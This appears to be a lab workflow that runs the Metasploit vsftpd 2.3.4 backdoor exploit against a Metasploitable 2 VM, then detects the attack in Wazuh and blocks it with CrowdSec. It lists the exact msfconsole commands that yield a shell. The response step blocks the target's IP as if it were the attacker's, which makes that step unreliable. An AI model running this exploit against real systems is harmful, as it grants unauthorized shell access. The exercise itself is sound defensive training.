Workflow

1. Tools

Tools: Metasploit, Rapid7 Metasploitable 2, Wazuh, CrowdSec, Docs

2. Attack Simulation using Metasploit

Steps:

- On Kali: *msfconsole*
- Load the vsftpd exploit: *use exploit/unix/ftp/vsftpd_234_backdoor*
- *set RHOSTS 10.0.2.19*
- *run*
- Confirm shell access (meterpreter or command shell).
- Document the attack timestamp and your steps.

3. Detection & Triage (Wazuh)

Steps:

- Ensure Wazuh is monitoring network traffic or logs that capture FTP exploitation attempts.
- Trigger the attack again if needed to generate alerts.
- In Wazuh dashboard:
    - Filter for vsftpd, FTP, or suspicious login events.
    - Capture the alert details.
- Classify alert severity (High) and confirm no false positives.

4. Response (CrowdSec)

- Isolate the VM from network
- Block attacker IP using CrowdSec:
- sudo cscli decisions add --ip 10.0.2.19 --duration 4h
- Validate enforcement:
    - From attacker machine: ping 10.0.2.18

5. Stakeholder Briefing

Brief the incident.